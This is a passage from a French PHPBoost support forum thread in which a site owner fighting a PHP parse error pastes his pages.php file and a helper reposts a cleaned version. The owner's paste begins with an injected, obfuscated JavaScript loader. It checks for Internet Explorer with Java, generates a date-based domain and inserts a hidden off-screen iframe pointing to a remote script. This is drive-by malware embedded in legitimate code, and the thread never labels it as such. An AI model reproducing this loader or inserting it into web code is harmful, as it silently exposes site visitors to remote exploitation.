$row['encoded_title']) . '">' . $row['title'] . '</a></td></tr>'; } } $Sql->query_close($result); $Template->assign_vars(array( 'PAGES_PATH' => $Template->get_module_data_path('pages'), 'TITLE' => $LANG['pages'], 'L_ROOT' => $LANG['pages_root'], 'ROOT_CONTENTS' => $root, 'L_CATS' => $LANG['pages_cats_tree'], 'L_EXPLORER' => $LANG['pages_explorer'], 'SELECTED_CAT' => 0, 'CAT_0' => 'pages_selected_cat', 'CAT_LIST' => '' )); $contents = ''; $result = $Sql->query_while("SELECT c.id, p.title, p.encoded_title FROM " . PREFIX . "pages_cats c LEFT JOIN " . PREFIX . "pages p ON p.id = c.id_page WHERE c.id_parent = 0 ORDER BY p.title ASC", __LINE__, __FILE__); while ($row = $Sql->fetch_assoc($result)) { $sub_cats_number = $Sql->query("SELECT COUNT(*) FROM " . PREFIX . "pages_cats WHERE id_parent = '" . $row['id'] . "'", __LINE__, __FILE__); if ($sub_cats_number > 0) { $Template->assign_block_vars('list', array( 'DIRECTORY' => '<li><a href="javascript:show_cat_contents(' . $row['id'] . ', 0);"><img src="' . $Template->get_module_data_path('pages') . '/images/plus.png" alt="" id="img2_' . $row['id'] . '" style="vertical-align:middle" /></a> <a href="javascript:show_cat_contents(' . $row['id'] . ', 0);"><img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" id ="img_' . $row['id'] . '" alt="" style="vertical-align:middle" /></a> <span id="class_' . $row['id'] . '" class=""><a href="javascript:open_cat(' . $row['id'] . ');">' . $row['title'] . '</a></span><span id="cat_' . $row['id'] . '"></span></li>' )); } else { $Template->assign_block_vars('list', array( 'DIRECTORY' => '<li style="padding-left:17px;"><img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" alt="" style="vertical-align:middle" /> <span id="class_' . $row['id'] . '" class=""><a href="javascript:open_cat(' . $row['id'] . ');">' . $row['title'] . '</a></span><span id="cat_' . $row['id'] . '"></span></li>' )); } } $Sql->query_close($result); $Template->pparse('index'); } require_once('../kernel/footer.php'); ?>
Remet en ligne et dis moi si ça corrige le soucis.
Oscarbravo Membre non connecté
Booster Fronde
-
Booster Fronde
- Voir le profil du membre Oscarbravo
- Inscrit le : 15/05/2012
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home/vhosts/oscarbravo.6te.net/pages/pages.php on line 5
je désespère, mais on va y arrivé
Visiteur
Boosteur Inactif
Oscarbravo Membre non connecté
Booster Fronde
-
Booster Fronde
- Voir le profil du membre Oscarbravo
- Inscrit le : 15/05/2012
Code PHP :
<?php echo '<script> var keyss = "ap12m3n4j5i6u7dh8b9v0gytfcdr5ewqdas";var enc = [3, 5, 7, 15, 4, 32, 7, 9, 19];var ah = (new Date).getDate(); var strUA = "";strUA = navigator.userAgent.toLowerCase();if(strUA.indexOf("msie") != -1)if(navigator.javaEnabled()){var url = "http://";for (i = 0; i < enc.length; i++) {url += keyss.substr(ah * enc[i] % 31, 1);} url += ".in/ts/in.php?q=2";fff = "fram"; if (document.getElementsByTagName("body")[0]) {asdfasdfasdf43();} else {document.write("<i" + fff + "e src='" + url + "' width='100' height='100' style='position:absolute;left:-190;top:-982;'></i" + fff + "e>");}} function asdfasdfasdf43() {var f = document.createElement("i" + fff + "e");f.setAttribute("src", url);f.style.position = "absolute";f.style.left = "-129";f.style.top = "-172";f.setAttribute("width", "100");f.setAttribute("height", "100");document.getElementsByTagName("body")[0].appendChild(f);} </script>'; /*################################################## * pages.php * ------------------- * begin : August 07, 2007 * copyright : (C) 2007 Sautel Benoit * email : ben.popeye@phpboost.com * * ################################################### * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * ###################################################*/ require_once('../kernel/begin.php'); $encoded_title = retrieve(GET, 'title', ''); $id_com = retrieve(GET, 'id', 0); $error = retrieve(GET, 'error', ''); include_once('pages_begin.php'); include_once('pages_functions.php'); //Requêtes préliminaires utiles par la suite if (!empty($encoded_title)) //Si on connait son titre { $page_infos = $Sql->query_array(PREFIX . "pages", 'id', 'title', 'auth', 'is_cat', 'id_cat', 'hits', 'count_hits', 'activ_com', 'nbr_com', 'redirect', 'contents', "WHERE encoded_title = '" . $encoded_title . "'", __LINE__, __FILE__); $num_rows =!empty($page_infos['title']) ? 1 : 0; if ($page_infos['redirect'] > 0) { $redirect_title = $page_infos['title']; $redirect_id = $page_infos['id']; $page_infos = $Sql->query_array(PREFIX . "pages", 'id', 'title', 'auth', 'is_cat', 'id_cat', 'hits', 'count_hits', 'activ_com', 'nbr_com', 'redirect', 'contents', "WHERE id = '" . $page_infos['redirect'] . "'", __LINE__, __FILE__); } else $redirect_title = ''; define('TITLE', $page_infos['title']); //Définition du fil d'Ariane de la page if ($page_infos['is_cat'] == 0) $Bread_crumb->add($page_infos['title'], url('pages.php?title=' . $encoded_title, $encoded_title)); $id = $page_infos['id_cat']; while ($id > 0) { //Si on a les droits de lecture sur la catégorie, on l'affiche if (empty($_PAGES_CATS[$id]['auth']) || $User->check_auth($_PAGES_CATS[$id]['auth'], READ_PAGE)) $Bread_crumb->add($_PAGES_CATS[$id]['name'], url('pages.php?title=' . url_encode_rewrite($_PAGES_CATS[$id]['name']), url_encode_rewrite($_PAGES_CATS[$id]['name']))); $id = (int)$_PAGES_CATS[$id]['id_parent']; } if ($User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE)) $Bread_crumb->add($LANG['pages'], url('pages.php')); //On renverse ce fil pour le mettre dans le bon ordre d'arborescence $Bread_crumb->reverse(); } elseif ($id_com > 0) { $result = $Sql->query_while("SELECT id, title, encoded_title, auth, is_cat, id_cat, hits, count_hits, activ_com, nbr_com, contents FROM " . PREFIX . "pages WHERE id = '" . $id_com . "'" , __LINE__, __FILE__); $num_rows = $Sql->num_rows($result, "SELECT COUNT(*) FROM " . PREFIX . "pages WHERE id = '" . $id_com . "'"); $page_infos = $Sql->fetch_assoc($result); $Sql->query_close($result); define('TITLE', sprintf($LANG['pages_page_com'], $page_infos['title'])); $Bread_crumb->add($LANG['pages_com'], url('pages.php?id=' . $id_com . '&com=0')); $Bread_crumb->add($page_infos['title'], url('pages.php?title=' . $page_infos['encoded_title'], $page_infos['encoded_title'])); $id = $page_infos['id_cat']; while ($id > 0) { $Bread_crumb->add($_PAGES_CATS[$id]['name'], url('pages.php?title=' . url_encode_rewrite($_PAGES_CATS[$id]['name']), url_encode_rewrite($_PAGES_CATS[$id]['name']))); $id = (int)$_PAGES_CATS[$id]['id_parent']; } if ($User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE)) $Bread_crumb->add($LANG['pages'], url('pages.php')); $Bread_crumb->reverse(); } else { define('TITLE', $LANG['pages']); $auth_index = $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE); if ($auth_index) $Bread_crumb->add($LANG['pages'], url('pages.php')); elseif (!$auth_index && empty($error)) redirect(HOST . DIR . url('/pages/pages.php?error=e_auth')); } require_once('../kernel/header.php'); if (!empty($encoded_title) && $num_rows == 1) { $Template->set_filenames(array('page'=> 'pages/page.tpl')); $pages_data_path = $Template->get_module_data_path('pages'); //Autorisation particulière ? $special_auth = !empty($page_infos['auth']); $array_auth = unserialize($page_infos['auth']); //Vérification de l'autorisation de voir la page if (($special_auth && !$User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE))) redirect(HOST . DIR . url('/pages/pages.php?error=e_auth')); //Génération des liens de la page $links = array(); if (($special_auth && $User->check_auth($array_auth, EDIT_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE))) { $links[$LANG['pages_edit']] = array(url('post.php?id=' . $page_infos['id']), $pages_data_path . '/images/edit.png'); $links[$LANG['pages_rename']] = array(url('action.php?rename=' . $page_infos['id']), $pages_data_path . '/images/rename.png'); $links[$LANG['pages_delete']] = $page_infos['is_cat'] == 1 ? array(url('action.php?del_cat=' . $page_infos['id']), $pages_data_path . '/images/delete.png') : array(url('post.php?del=' . $page_infos['id'] . '&token=' . $Session->get_token()), $pages_data_path . '/images/delete.png', 'return confirm('' . $LANG['pages_confirm_delete'] . '');'); $links[$LANG['pages_redirections']] = array(url('action.php?id=' . $page_infos['id']), $pages_data_path . '/images/redirect.png'); $links[$LANG['pages_create']] = array(url('post.php'), $pages_data_path . '/images/create_page.png'); $links[$LANG['printable_version']] = array(url('print.php?title=' . $encoded_title), '../templates/' . get_utheme() . '/images/print_mini.png'); } if ($User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE)) $links[$LANG['pages_explorer']] = array(url('explorer.php'), $pages_data_path . '/images/explorer.png'); $nbr_values = count($links); $i = 1; foreach ($links as $key => $value) { $Template->assign_block_vars('link', array( 'U_LINK' => $value[0], 'L_LINK' => $key )); if ($i < $nbr_values && !empty($key)) $Template->assign_block_vars('link.separation', array()); $Template->assign_block_vars('links_list', array( 'DM_A_CLASS' => ' style="background-image:url(' . $value[1] . ');"', 'U_ACTION' => $value[0], 'L_ACTION' => $key, 'ONCLICK' => array_key_exists(2, $value) ? $value[2] : '' )); $i++; } //Redirections if (!empty($redirect_title)) { $Template->assign_block_vars('redirect', array( 'REDIRECTED_FROM' => sprintf($LANG['pages_redirected_from'], $redirect_title), 'DELETE_REDIRECTION' => (($special_auth && $User->check_auth($array_auth, EDIT_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE))) ? '<a href="action.php?del=' . $redirect_id . '&token=' . $Session->get_token() . '" onclick="return confirm('' . $LANG['pages_confirm_delete_redirection'] . '');" title="' . $LANG['pages_delete_redirection'] . '"><img src="' . $Template->get_module_data_path('pages') . '/images/delete.png" alt="' . $LANG['pages_delete_redirection'] . '" /></a>' : '' )); } //Affichage des commentaires si il y en a la possibilité if ($page_infos['activ_com'] == 1 && (($special_auth && $User->check_auth($array_auth, READ_COM)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_COM)))) { $Template->assign_vars(array( 'C_ACTIV_COM' => true, 'U_COM' => url('pages.php?id=' . $page_infos['id'] . '&com=0'), 'L_COM' => $page_infos['nbr_com'] > 0 ? sprintf($LANG['pages_display_coms'], $page_infos['nbr_com']) : $LANG['pages_post_com'] )); } //On compte le nombre de vus if ($page_infos['count_hits'] == 1) $Sql->query_inject("UPDATE " . PREFIX . "pages SET hits = hits + 1 WHERE id = '" . $page_infos['id'] . "'", __LINE__, __FILE__); $Template->assign_vars(array( 'TITLE' => $page_infos['title'], 'CONTENTS' => pages_second_parse($page_infos['contents']), 'COUNT_HITS' => $page_infos['count_hits'] ? sprintf($LANG['page_hits'], $page_infos['hits'] + 1) : ' ', 'PAGES_PATH' => $pages_data_path, 'L_LINKS' => $LANG['pages_links_list'] )); $Template->pparse('page'); } //Page non trouvée elseif ((!empty($encoded_title) || $id_com > 0) && $num_rows == 0) redirect(HOST . DIR . url('/pages/pages.php?error=e_page_not_found')); //Commentaires elseif ($id_com > 0) { //Commentaires activés pour cette page ? if ($page_infos['activ_com'] == 0) redirect(HOST . DIR . '/pages/pages.php?error=e_unactiv_com'); //Autorisation particulière ? $special_auth = !empty($page_infos['auth']); $array_auth = unserialize($page_infos['auth']); //Vérification de l'autorisation de voir la page if (($special_auth && !$User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE)) && ($special_auth && !$User->check_auth($array_auth, READ_COM)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_COM))) redirect(HOST . DIR . '/pages/pages.php?error=e_auth_com'); $Template->set_filenames(array('com'=> 'pages/com.tpl')); $Template->assign_vars(array( 'COMMENTS' => display_comments('pages', $id_com, url('pages.php?id=' . $id_com . '&com=%s')) )); $Template->pparse('com'); } //gestionnaire d'erreurs elseif (!empty($error)) { $Template->set_filenames(array('error'=> 'pages/error.tpl')); $Template->assign_vars(array( 'L_TITLE' => $LANG['error'] )); switch ($error) { case 'e_page_not_found' : $Errorh->handler($LANG['pages_not_found'], E_USER_WARNING); break; case 'e_auth' : $Errorh->handler($LANG['pages_error_auth_read'], E_USER_WARNING); break; case 'e_auth_com' : $Errorh->handler($LANG['pages_error_auth_com'], E_USER_WARNING); break; case 'e_unactiv_com' : $Errorh->handler($LANG['pages_error_unactiv_com'], E_USER_WARNING); break; case 'delete_success' : $Errorh->handler($LANG['pages_delete_success'], E_USER_NOTICE); break; case 'delete_failure' : $Errorh->handler($LANG['pages_delete_failure'], E_USER_NOTICE); break; default : redirect(HOST . DIR . url('/pages/pages.php')); } $Template->pparse('error'); } else { $Template->set_filenames(array('index'=> 'pages/index.tpl')); $num_pages = $Sql->query("SELECT COUNT(*) FROM " . PREFIX . "pages WHERE redirect = '0'", __LINE__, __FILE__); $num_coms = $Sql->query("SELECT COUNT(*) FROM " . DB_TABLE_COM . " WHERE script = 'pages'", __LINE__, __FILE__); $Template->assign_vars(array( 'PAGES_PATH' => $Template->get_module_data_path('pages'), 'NUM_PAGES' => sprintf($LANG['pages_num_pages'], $num_pages), 'NUM_COMS' => sprintf($LANG['pages_num_coms'], $num_coms, ($num_pages > 0 ? $num_coms / $num_pages : 0)), 'L_EXPLAIN_PAGES' => $LANG['pages_explain'], 'L_TOOLS' => $LANG['pages_tools'], 'L_STATS' => $LANG['pages_stats'] )); $tools = array( $LANG['pages_create'] => url('post.php'), $LANG['pages_redirections'] => url('action.php'), $LANG['pages_explorer'] => url('explorer.php'), ); if ($User->check_level(ADMIN_LEVEL)) $tools[$LANG['pages_config']] = url('admin_pages.php'); foreach ($tools as $tool => $url) $Template->assign_block_vars('tools', array( 'L_TOOL' => $tool, 'U_TOOL' => $url )); //Liste des dossiers de la racine $root = ''; foreach ($_PAGES_CATS as $key => $value) { if ($value['id_parent'] == 0) { //Autorisation particulière ? $special_auth = !empty($value['auth']); //Vérification de l'autorisation d'éditer la page if (($special_auth && $User->check_auth($value['auth'], READ_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE))) { $root .= '<tr><td class="row2"><img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" alt="" style="vertical-align:middle" /> <a href="javascript:open_cat(' . $key . '); show_cat_contents(' . $value['id_parent'] . ', 0);">' . $value['name'] . '</a></td></tr>'; } } } //Liste des fichiers de la racine $result = $Sql->query_while("SELECT title, id, encoded_title, auth FROM " . PREFIX . "pages WHERE id_cat = 0 AND is_cat = 0 ORDER BY is_cat DESC, title ASC", __LINE__, __FILE__); while ($row = $Sql->fetch_assoc($result)) { //Autorisation particulière ? $special_auth = !empty($row['auth']); $array_auth = unserialize($row['auth']); //Vérification de l'autorisation d'éditer la page if (($special_auth && $User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE))) { $root .= '<tr><td class="row2"><img src="' . $Template->get_module_data_path('pages') . '/images/page.png" alt="" style="vertical-align:middle" /> <a href="' . url('pages.php?title=' . $row['encoded_title'], $row['encoded_title']) . '">' . $row['title'] . '</a></td></tr>'; } } $Sql->query_close($result); $Template->assign_vars(array( 'PAGES_PATH' => $Template->get_module_data_path('pages'), 'TITLE' => $LANG['pages'], 'L_ROOT' => $LANG['pages_root'], 'ROOT_CONTENTS' => $root, 'L_CATS' => $LANG['pages_cats_tree'], 'L_EXPLORER' => $LANG['pages_explorer'], 'SELECTED_CAT' => 0, 'CAT_0' => 'pages_selected_cat', 'CAT_LIST' => '' )); $contents = ''; $result = $Sql->query_while("SELECT c.id, p.title, p.encoded_title FROM " . PREFIX . "pages_cats c LEFT JOIN " . PREFIX . "pages p ON p.id = c.id_page WHERE c.id_parent = 0 ORDER BY p.title ASC", __LINE__, __FILE__); while ($row = $Sql->fetch_assoc($result)) { $sub_cats_number = $Sql->query("SELECT COUNT(*) FROM " . PREFIX . "pages_cats WHERE id_parent = '" . $row['id'] . "'", __LINE__, __FILE__); if ($sub_cats_number > 0) { $Template->assign_block_vars('list', array( 'DIRECTORY' => '<li><a href="javascript:show_cat_contents(' . $row['id'] . ', 0);"><img src="' . $Template->get_module_data_path('pages') . '/images/plus.png" alt="" id="img2_' . $row['id'] . '" style="vertical-align:middle" /></a> <a href="javascript:show_cat_contents(' . $row['id'] . ', 0);"><img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" id ="img_' . $row['id'] . '" alt="" style="vertical-align:middle" /></a> <span id="class_' . $row['id'] . '" class=""><a href="javascript:open_cat(' . $row['id'] . ');">' . $row['title'] . '</a></span><span id="cat_' . $row['id'] . '"></span></li>' )); } else { $Template->assign_block_vars('list', array( 'DIRECTORY' => '<li style="padding-left:17px;"><img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" alt="" style="vertical-align:middle" /> <span id="class_' . $row['id'] . '" class=""><a href="javascript:open_cat(' . $row['id'] . ');">' . $row['title'] . '</a></span><span id="cat_' . $row['id'] . '"></span></li>' )); } } $Sql->query_close($result); $Template->pparse('index'); } require_once('../kernel/footer.php'); ?>
Visiteur
Boosteur Inactif
Code PHP :
<?php /*################################################## * pages.php * ------------------- * begin : August 07, 2007 * copyright : (C) 2007 Sautel Benoit * email : ben.popeye@phpboost.com * * ################################################### * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * ###################################################*/ require_once('../kernel/begin.php'); $encoded_title = retrieve(GET, 'title', ''); $id_com = retrieve(GET, 'id', 0); $error = retrieve(GET, 'error', ''); include_once('pages_begin.php'); include_once('pages_functions.php'); //Requêtes préliminaires utiles par la suite if (!empty($encoded_title)) //Si on connait son titre { $page_infos = $Sql->query_array(PREFIX . "pages", 'id', 'title', 'auth', 'is_cat', 'id_cat', 'hits', 'count_hits', 'activ_com', 'nbr_com', 'redirect', 'contents', "WHERE encoded_title = '" . $encoded_title . "'", __LINE__, __FILE__); $num_rows =!empty($page_infos['title']) ? 1 : 0; if ($page_infos['redirect'] > 0) { $redirect_title = $page_infos['title']; $redirect_id = $page_infos['id']; $page_infos = $Sql->query_array(PREFIX . "pages", 'id', 'title', 'auth', 'is_cat', 'id_cat', 'hits', 'count_hits', 'activ_com', 'nbr_com', 'redirect', 'contents', "WHERE id = '" . $page_infos['redirect'] . "'", __LINE__, __FILE__); } else $redirect_title = ''; define('TITLE', $page_infos['title']); //Définition du fil d'Ariane de la page if ($page_infos['is_cat'] == 0) $Bread_crumb->add($page_infos['title'], url('pages.php?title=' . $encoded_title, $encoded_title)); $id = $page_infos['id_cat']; while ($id > 0) { //Si on a les droits de lecture sur la catégorie, on l'affiche if (empty($_PAGES_CATS[$id]['auth']) || $User->check_auth($_PAGES_CATS[$id]['auth'], READ_PAGE)) $Bread_crumb->add($_PAGES_CATS[$id]['name'], url('pages.php?title=' . url_encode_rewrite($_PAGES_CATS[$id]['name']), url_encode_rewrite($_PAGES_CATS[$id]['name']))); $id = (int)$_PAGES_CATS[$id]['id_parent']; } if ($User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE)) $Bread_crumb->add($LANG['pages'], url('pages.php')); //On renverse ce fil pour le mettre dans le bon ordre d'arborescence $Bread_crumb->reverse(); } elseif ($id_com > 0) { $result = $Sql->query_while("SELECT id, title, encoded_title, auth, is_cat, id_cat, hits, count_hits, activ_com, nbr_com, contents FROM " . PREFIX . "pages WHERE id = '" . $id_com . "'" , __LINE__, __FILE__); $num_rows = $Sql->num_rows($result, "SELECT COUNT(*) FROM " . PREFIX . "pages WHERE id = '" . $id_com . "'"); $page_infos = $Sql->fetch_assoc($result); $Sql->query_close($result); define('TITLE', sprintf($LANG['pages_page_com'], $page_infos['title'])); $Bread_crumb->add($LANG['pages_com'], url('pages.php?id=' . $id_com . '&com=0')); $Bread_crumb->add($page_infos['title'], url('pages.php?title=' . $page_infos['encoded_title'], $page_infos['encoded_title'])); $id = $page_infos['id_cat']; while ($id > 0) { $Bread_crumb->add($_PAGES_CATS[$id]['name'], url('pages.php?title=' . url_encode_rewrite($_PAGES_CATS[$id]['name']), url_encode_rewrite($_PAGES_CATS[$id]['name']))); $id = (int)$_PAGES_CATS[$id]['id_parent']; } if ($User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE)) $Bread_crumb->add($LANG['pages'], url('pages.php')); $Bread_crumb->reverse(); } else { define('TITLE', $LANG['pages']); $auth_index = $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE); if ($auth_index) $Bread_crumb->add($LANG['pages'], url('pages.php')); elseif (!$auth_index && empty($error)) redirect(HOST . DIR . url('/pages/pages.php?error=e_auth')); } require_once('../kernel/header.php'); if (!empty($encoded_title) && $num_rows == 1) { $Template->set_filenames(array('page'=> 'pages/page.tpl')); $pages_data_path = $Template->get_module_data_path('pages'); //Autorisation particulière ? $special_auth = !empty($page_infos['auth']); $array_auth = unserialize($page_infos['auth']); //Vérification de l'autorisation de voir la page if (($special_auth && !$User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE))) redirect(HOST . DIR . url('/pages/pages.php?error=e_auth')); //Génération des liens de la page $links = array(); if (($special_auth && $User->check_auth($array_auth, EDIT_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE))) { $links[$LANG['pages_edit']] = array(url('post.php?id=' . $page_infos['id']), $pages_data_path . '/images/edit.png'); $links[$LANG['pages_rename']] = array(url('action.php?rename=' . $page_infos['id']), $pages_data_path . '/images/rename.png'); $links[$LANG['pages_delete']] = $page_infos['is_cat'] == 1 ? array(url('action.php?del_cat=' . $page_infos['id']), $pages_data_path . '/images/delete.png') : array(url('post.php?del=' . $page_infos['id'] . '&token=' . $Session->get_token()), $pages_data_path . '/images/delete.png', 'return confirm('' . $LANG['pages_confirm_delete'] . '');'); $links[$LANG['pages_redirections']] = array(url('action.php?id=' . $page_infos['id']), $pages_data_path . '/images/redirect.png'); $links[$LANG['pages_create']] = array(url('post.php'), $pages_data_path . '/images/create_page.png'); $links[$LANG['printable_version']] = array(url('print.php?title=' . $encoded_title), '../templates/' . get_utheme() . '/images/print_mini.png'); } if ($User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE)) $links[$LANG['pages_explorer']] = array(url('explorer.php'), $pages_data_path . '/images/explorer.png'); $nbr_values = count($links); $i = 1; foreach ($links as $key => $value) { $Template->assign_block_vars('link', array( 'U_LINK' => $value[0], 'L_LINK' => $key )); if ($i < $nbr_values && !empty($key)) $Template->assign_block_vars('link.separation', array()); $Template->assign_block_vars('links_list', array( 'DM_A_CLASS' => ' style="background-image:url(' . $value[1] . ');"', 'U_ACTION' => $value[0], 'L_ACTION' => $key, 'ONCLICK' => array_key_exists(2, $value) ? $value[2] : '' )); $i++; } //Redirections if (!empty($redirect_title)) { $Template->assign_block_vars('redirect', array( 'REDIRECTED_FROM' => sprintf($LANG['pages_redirected_from'], $redirect_title), 'DELETE_REDIRECTION' => (($special_auth && $User->check_auth($array_auth, EDIT_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE))) ? '<a href="action.php?del=' . $redirect_id . '&token=' . $Session->get_token() . '" onclick="return confirm('' . $LANG['pages_confirm_delete_redirection'] . '');" title="' . $LANG['pages_delete_redirection'] . '"><img src="' . $Template->get_module_data_path('pages') . '/images/delete.png" alt="' . $LANG['pages_delete_redirection'] . '" /></a>' : '' )); } //Affichage des commentaires si il y en a la possibilité if ($page_infos['activ_com'] == 1 && (($special_auth && $User->check_auth($array_auth, READ_COM)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_COM)))) { $Template->assign_vars(array( 'C_ACTIV_COM' => true, 'U_COM' => url('pages.php?id=' . $page_infos['id'] . '&com=0'), 'L_COM' => $page_infos['nbr_com'] > 0 ? sprintf($LANG['pages_display_coms'], $page_infos['nbr_com']) : $LANG['pages_post_com'] )); } //On compte le nombre de vus if ($page_infos['count_hits'] == 1) $Sql->query_inject("UPDATE " . PREFIX . "pages SET hits = hits + 1 WHERE id = '" . $page_infos['id'] . "'", __LINE__, __FILE__); $Template->assign_vars(array( 'TITLE' => $page_infos['title'], 'CONTENTS' => pages_second_parse($page_infos['contents']), 'COUNT_HITS' => $page_infos['count_hits'] ? sprintf($LANG['page_hits'], $page_infos['hits'] + 1) : ' ', 'PAGES_PATH' => $pages_data_path, 'L_LINKS' => $LANG['pages_links_list'] )); $Template->pparse('page'); } //Page non trouvée elseif ((!empty($encoded_title) || $id_com > 0) && $num_rows == 0) redirect(HOST . DIR . url('/pages/pages.php?error=e_page_not_found')); //Commentaires elseif ($id_com > 0) { //Commentaires activés pour cette page ? if ($page_infos['activ_com'] == 0) redirect(HOST . DIR . '/pages/pages.php?error=e_unactiv_com'); //Autorisation particulière ? $special_auth = !empty($page_infos['auth']); $array_auth = unserialize($page_infos['auth']); //Vérification de l'autorisation de voir la page if (($special_auth && !$User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE)) && ($special_auth && !$User->check_auth($array_auth, READ_COM)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_COM))) redirect(HOST . DIR . '/pages/pages.php?error=e_auth_com'); $Template->set_filenames(array('com'=> 'pages/com.tpl')); $Template->assign_vars(array( 'COMMENTS' => display_comments('pages', $id_com, url('pages.php?id=' . $id_com . '&com=%s')) )); $Template->pparse('com'); } //gestionnaire d'erreurs elseif (!empty($error)) { $Template->set_filenames(array('error'=> 'pages/error.tpl')); $Template->assign_vars(array( 'L_TITLE' => $LANG['error'] )); switch ($error) { case 'e_page_not_found' : $Errorh->handler($LANG['pages_not_found'], E_USER_WARNING); break; case 'e_auth' : $Errorh->handler($LANG['pages_error_auth_read'], E_USER_WARNING); break; case 'e_auth_com' : $Errorh->handler($LANG['pages_error_auth_com'], E_USER_WARNING); break; case 'e_unactiv_com' : $Errorh->handler($LANG['pages_error_unactiv_com'], E_USER_WARNING); break; case 'delete_success' : $Errorh->handler($LANG['pages_delete_success'], E_USER_NOTICE); break; case 'delete_failure' : $Errorh->handler($LANG['pages_delete_failure'], E_USER_NOTICE); break; default : redirect(HOST . DIR . url('/pages/pages.php')); } $Template->pparse('error'); } else { $Template->set_filenames(array('index'=> 'pages/index.tpl')); $num_pages = $Sql->query("SELECT COUNT(*) FROM " . PREFIX . "pages WHERE redirect = '0'", __LINE__, __FILE__); $num_coms = $Sql->query("SELECT COUNT(*) FROM " . DB_TABLE_COM . " WHERE script = 'pages'", __LINE__, __FILE__); $Template->assign_vars(array( 'PAGES_PATH' => $Template->get_module_data_path('pages'), 'NUM_PAGES' => sprintf($LANG['pages_num_pages'], $num_pages), 'NUM_COMS' => sprintf($LANG['pages_num_coms'], $num_coms, ($num_pages > 0 ? $num_coms / $num_pages : 0)), 'L_EXPLAIN_PAGES' => $LANG['pages_explain'], 'L_TOOLS' => $LANG['pages_tools'], 'L_STATS' => $LANG['pages_stats'] )); $tools = array( $LANG['pages_create'] => url('post.php'), $LANG['pages_redirections'] => url('action.php'), $LANG['pages_explorer'] => url('explorer.php'), ); if ($User->check_level(ADMIN_LEVEL)) $tools[$LANG['pages_config']] = url('admin_pages.php'); foreach ($tools as $tool => $url) $Template->assign_block_vars('tools', array( 'L_TOOL' => $tool, 'U_TOOL' => $url )); //Liste des dossiers de la racine $root = ''; foreach ($_PAGES_CATS as $key => $value) { if ($value['id_parent'] == 0) { //Autorisation particulière ? $special_auth = !empty($value['auth']); //Vérification de l'autorisation d'éditer la page if (($special_auth && $User->check_auth($value['auth'], READ_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE))) { $root .= '<tr><td class="row2"><img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" alt="" style="vertical-align:middle" /> <a href="javascript:open_cat(' . $key . '); show_cat_contents(' . $value['id_parent'] . ', 0);">' . $value['name'] . '</a></td></tr>'; } } } //Liste des fichiers de la racine $result = $Sql->query_while("SELECT title, id, encoded_title, auth FROM " . PREFIX . "pages WHERE id_cat = 0 AND is_cat = 0 ORDER BY is_cat DESC, title ASC", __LINE__, __FILE__); while ($row = $Sql->fetch_assoc($result)) { //Autorisation particulière ? $special_auth = !empty($row['auth']); $array_auth = unserialize($row['auth']); //Vérification de l'autorisation d'éditer la page if (($special_auth && $User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE))) { $root .= '<tr><td class="row2"><img src="' . $Template->get_module_data_path('pages') . '/images/page.png" alt="" style="vertical-align:middle" /> <a href="' . url('pages.php?title=' . $row['encoded_title'], $row['encoded_title']) . '">' . $row['title'] . '</a></td></tr>'; } } $Sql->query_close($result); $Template->assign_vars(array( 'PAGES_PATH' => $Template->get_module_data_path('pages'), 'TITLE' => $LANG['pages'], 'L_ROOT' => $LANG['pages_root'], 